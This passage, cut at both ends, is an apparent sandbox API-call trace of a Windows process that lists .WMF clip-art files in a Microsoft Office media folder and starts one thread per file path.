_Dest=0x1cf4de30, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.746] wcscat (in: _Dest=0x1cf4de30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.746] wcscat (in: _Dest=0x1cf4de30, _Source="J0090386.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" [0096.746] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4de30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0096.747] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0096.747] wcscmp (_String1="J0149407.WMF", _String2=".") returned 1 [0096.747] wcscmp (_String1="J0149407.WMF", _String2="..") returned 1 [0096.747] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4dec0 [0096.747] wcscpy (in: _Dest=0x1cf4dec0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.747] wcscat (in: _Dest=0x1cf4dec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.747] wcscat (in: _Dest=0x1cf4dec0, _Source="J0149407.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" [0096.747] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0096.748] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0096.748] wcscmp (_String1="J0149481.WMF", _String2=".") returned 1 [0096.748] wcscmp (_String1="J0149481.WMF", _String2="..") returned 1 [0096.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4df50 [0096.748] wcscpy (in: _Dest=0x1cf4df50, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.748] wcscat (in: _Dest=0x1cf4df50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.748] wcscat (in: _Dest=0x1cf4df50, _Source="J0149481.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" [0096.748] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18 [0096.749] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0096.749] wcscmp (_String1="J0149627.WMF", _String2=".") returned 1 [0096.749] wcscmp (_String1="J0149627.WMF", _String2="..") returned 1 [0096.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4dfe0 [0096.750] wcscpy (in: _Dest=0x1cf4dfe0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.750] wcscat (in: _Dest=0x1cf4dfe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.750] wcscat (in: _Dest=0x1cf4dfe0, _Source="J0149627.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" [0096.750] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c [0096.751] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0096.751] wcscmp (_String1="J0149887.WMF", _String2=".") returned 1 [0096.751] wcscmp (_String1="J0149887.WMF", _String2="..") returned 1 [0096.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e070 [0096.751] wcscpy (in: _Dest=0x1cf4e070, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.751] wcscat (in: _Dest=0x1cf4e070, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.751] wcscat (in: _Dest=0x1cf4e070, _Source="J0149887.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" [0096.751] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20 [0096.752] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0096.752] wcscmp (_String1="J0157763.WMF", _String2=".") returned 1 [0096.752] wcscmp (_String1="J0157763.WMF", _String2="..") returned 1 [0096.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e100 [0096.752] wcscpy (in: _Dest=0x1cf4e100, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.752] wcscat (in: _Dest=0x1cf4e100, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.752] wcscat (in: _Dest=0x1cf4e100, _Source="J0157763.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" [0096.752] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24 [0096.753] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0096.753] wcscmp (_String1="J0157995.WMF", _String2=".") returned 1 [0096.753] wcscmp (_String1="J0157995.WMF", _String2="..") returned 1 [0096.753] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e190 [0096.753] wcscpy (in: _Dest=0x1cf4e190, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.753] wcscat (in: _Dest=0x1cf4e190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.753] wcscat (in: _Dest=0x1cf4e190, _Source="J0157995.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" [0096.754] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28 [0096.754] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0096.754] wcscmp (_String1="J0158007.WMF", _String2=".") returned 1 [0096.754] wcscmp (_String1="J0158007.WMF", _String2="..") returned 1 [0096.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e220 [0096.755] wcscpy (in: _Dest=0x1cf4e220, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.755] wcscat (in: _Dest=0x1cf4e220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.755] wcscat (in: _Dest=0x1cf4e220, _Source="J0158007.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" [0096.755] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c [0096.755] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0096.755] wcscmp (_String1="J0183168.WMF", _String2=".") returned 1 [0096.756] wcscmp (_String1="J0183168.WMF", _String2="..") returned 1 [0096.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e2b0 [0096.756] wcscpy (in: _Dest=0x1cf4e2b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.756] wcscat (in: _Dest=0x1cf4e2b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.756] wcscat (in: _Dest=0x1cf4e2b0, _Source="J0183168.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" [0096.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e2b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30 [0096.757] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0096.757] wcscmp (_String1="J0183290.WMF", _String2=".") returned 1 [0096.757] wcscmp (_String1="J0183290.WMF", _String2="..") returned 1 [0096.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e340 [0096.757] wcscpy (in: _Dest=0x1cf4e340, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.757] wcscat (in: _Dest=0x1cf4e340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.757] wcscat (in: _Dest=0x1cf4e340, _Source="J0183290.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183290.WMF" [0096.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34 [0096.758] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8564400, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf8564400, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x14fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183328.WMF", cAlternateFileName="")) returned 1 [0096.758] wcscmp (_String1="J0183328.WMF", _String2=".") returned 1 [0096.758] wcscmp (_String1="J0183328.WMF", _String2="..") returned 1 [0096.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e3d0 [0096.758] wcscpy (in: _Dest=0x1cf4e3d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.758] wcscat (in: _Dest=0x1cf4e3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.758] wcscat (in: _Dest=0x1cf4e3d0, _Source="J0183328.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183328.WMF" [0096.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf38 [0096.759] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf396a700, ftCreationTime.dwHighDateTime=0x1be0d1a, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf396a700, ftLastWriteTime.dwHighDateTime=0x1be0d1a, nFileSizeHigh=0x0, nFileSizeLow=0x171c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185604.WMF", cAlternateFileName="")) returned 1 [0096.759] wcscmp (_String1="J0185604.WMF", _String2=".") returned 1 [0096.759] wcscmp (_String1="J0185604.WMF", _String2="..") returned 1 [0096.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e460 [0096.759] wcscpy (in: _Dest=0x1cf4e460, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.759] wcscat (in: _Dest=0x1cf4e460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.759] wcscat (in: _Dest=0x1cf4e460, _Source="J0185604.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" [0096.759] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf3c [0096.760] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0fec00, ftCreationTime.dwHighDateTime=0x1be0d23, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdc0fec00, ftLastWriteTime.dwHighDateTime=0x1be0d23, nFileSizeHigh=0x0, nFileSizeLow=0x2f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186002.WMF", cAlternateFileName="")) returned 1 [0096.760] wcscmp (_String1="J0186002.WMF", _String2=".") returned 1 [0096.760] wcscmp (_String1="J0186002.WMF", _String2="..") returned 1 [0096.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4e4f0 [0096.760] wcscpy (in: _Dest=0x1cf4e4f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.760] wcscat (in: _Dest=0x1cf4e4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.761] wcscat (in: _Dest=0x1cf4e4f0, _Source="J0186002.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" [0096.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf40 [0096.761] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb426a00, ftCreationTime.dwHighDateTime=0x1be0d22, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xeb426a00, ftLastWriteTime.dwHighDateTime=0x1be0d22, nFileSizeHigh=0x0, nFileSizeLow=0x1b3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186348.WMF", cAlternateFileName="")) returned 1 [0096.761] wcscmp (_String1="J0186348.WMF", _String2=".") returned 1 [0096.761] wcscmp (_String1="J0186348.WMF", _String2="..") returned 1 [0096.762] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784370 [0096.762] wcscpy (in: _Dest=0x1b784370, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.762] wcscat (in: _Dest=0x1b784370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.762] wcscat (in: _Dest=0x1b784370, _Source="J0186348.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" [0096.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf44 [0096.763] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0096.763] wcscmp (_String1="J0187423.WMF", _String2=".") returned 1 [0096.763] wcscmp (_String1="J0187423.WMF", _String2="..") returned 1 [0096.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784490 [0096.763] wcscpy (in: _Dest=0x1b784490, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.763] wcscat (in: _Dest=0x1b784490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.763] wcscat (in: _Dest=0x1b784490, _Source="J0187423.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" [0096.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf48 [0096.764] FindNextFileW (in: hFindFile=0x1cd9d4f0, lpFindFileData=0x1ce567d0 | out: lpFindFileData=0x1ce567d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0096.764] wcscmp (_String1="J0195384.WMF", _String2=".") returned 1 [0096.764] wcscmp (_String1="J0195384.WMF", _String2="..") returned 1 [0096.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b784520 [0096.765] wcscpy (in: _Dest=0x1b784520, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0096.765] wcscat (in: _Dest=0x1b784520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0096.765] wcscat (in: _Dest=0x1b784520, _Source="J0195384.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF") returned="C:\\Program Files\\Microsoft 